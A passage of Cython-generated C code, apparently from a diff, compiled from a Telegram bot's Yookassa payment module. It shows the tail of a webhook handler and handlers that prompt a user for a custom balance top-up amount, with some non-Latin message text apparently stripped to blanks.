__pyx_t_24 = 0; __pyx_t_25 = 0; + __pyx_lineno = __pyx_t_21; __pyx_clineno = __pyx_t_18; __pyx_filename = __pyx_t_30; + goto __pyx_L8_except_error; + } + __pyx_L39_return: { + __Pyx_PyThreadState_assign + __pyx_t_25 = 0; __pyx_t_24 = 0; __pyx_t_23 = 0; __pyx_t_11 = 0; __pyx_t_12 = 0; __pyx_t_13 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_11, &__pyx_t_12, &__pyx_t_13); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_25, &__pyx_t_24, &__pyx_t_23) < 0)) __Pyx_ErrFetch(&__pyx_t_25, &__pyx_t_24, &__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_25); + __Pyx_XGOTREF(__pyx_t_24); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_12); + __Pyx_XGOTREF(__pyx_t_13); + __pyx_t_26 = __pyx_r; + __pyx_r = 0; + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + __pyx_r = __pyx_t_26; + __pyx_t_26 = 0; + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_XGIVEREF(__pyx_t_13); + __Pyx_ExceptionReset(__pyx_t_11, __pyx_t_12, __pyx_t_13); + } + __Pyx_XGIVEREF(__pyx_t_25); + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_ErrRestore(__pyx_t_25, __pyx_t_24, __pyx_t_23); + __pyx_t_25 = 0; __pyx_t_24 = 0; __pyx_t_23 = 0; __pyx_t_11 = 0; __pyx_t_12 = 0; __pyx_t_13 = 0; + goto __pyx_L9_except_return; + } + } + } + goto __pyx_L8_except_error; + + /* "handlers/payments/yookassa_pay.py":187 + * return web.Response(status=400) + * + * try: # <<<<<<<<<<<<<< + * payment = Payment.find_one(payment_id) + * logger.info(f" API Yookassa: {payment}") + */ + __pyx_L8_except_error:; + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_ExceptionReset(__pyx_t_8, __pyx_t_9, __pyx_t_10); + goto __pyx_L1_error; + __pyx_L10_try_return:; + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_ExceptionReset(__pyx_t_8, __pyx_t_9, __pyx_t_10); + goto __pyx_L0; + __pyx_L9_except_return:; + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_ExceptionReset(__pyx_t_8, __pyx_t_9, __pyx_t_10); + goto __pyx_L0; + __pyx_L11_try_end:; + } + + /* "handlers/payments/yookassa_pay.py":214 + * return web.Response(status=500) + * + * return web.Response(status=200) # <<<<<<<<<<<<<< + * + * + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_web); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 214, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_17 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_Response); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 214, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_17); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 214, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_status, __pyx_int_200) < 0) __PYX_ERR(0, 214, __pyx_L1_error) + __pyx_t_20 = __Pyx_PyObject_Call(__pyx_t_17, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 214, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_20); + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_20); + __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; + goto __pyx_L0; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/yookassa_pay.py":174 + * + * + * async def yookassa_webhook(request): # <<<<<<<<<<<<<< + * """ + * Yookassa . + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_17); + __Pyx_XDECREF(__pyx_t_19); + __Pyx_XDECREF(__pyx_t_20); + __Pyx_AddTraceback("yookassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/yookassa_pay.py":218 + * + * + * @router.callback_query(F.data == "enter_custom_amount_yookassa") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_10process_enter_custom_amount(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_12yookassa_pay_10process_enter_custom_amount = {"process_enter_custom_amount", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yookassa_pay_10process_enter_custom_amount, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_10process_enter_custom_amount(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_enter_custom_amount (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 218, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 218, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, 1); __PYX_ERR(0, 218, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_enter_custom_amount") < 0)) __PYX_ERR(0, 218, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 218, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_12yookassa_pay_9process_enter_custom_amount(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_9process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_enter_custom_amount", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 218, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_11generator3, __pyx_codeobj__16, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_enter_custom_amount", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + case 2: goto __pyx_L5_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 218, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":222 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yookassa")) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 222, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 222, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":223 + * ): + * builder = InlineKeyboardBuilder() + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yookassa")) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 223, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 223, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 223, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_text, __pyx_kp_u__17) < 0) __PYX_ERR(0, 223, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_data, __pyx_n_u_pay_yookassa) < 0) __PYX_ERR(0, 223, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 223, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_t_6}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 223, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":225 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yookassa")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 225, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 225, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":227 + * await callback_query.message.answer( + * ", .", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 227, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 227, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 227, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 227, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/yookassa_pay.py":225 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yookassa")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__19, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 225, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 225, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 225, __pyx_L1_error) + } + } + + /* "handlers/payments/yookassa_pay.py":230 + * ) + * + * await state.set_state(ReplenishBalanceState.entering_custom_amount_yookassa) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 230, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 230, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_entering_custom_amount_yookassa); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 230, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_5}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 230, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 230, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 230, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/yookassa_pay.py":218 + * + * + * @router.callback_query(F.data == "enter_custom_amount_yookassa") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_AddTraceback("process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/yookassa_pay.py":233 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_yookassa) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_13process_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_12yookassa_pay_13process_custom_amount_input = {"process_custom_amount_input", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yookassa_pay_13process_custom_amount_input, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_13process_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_message = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_custom_amount_input (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_message,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t 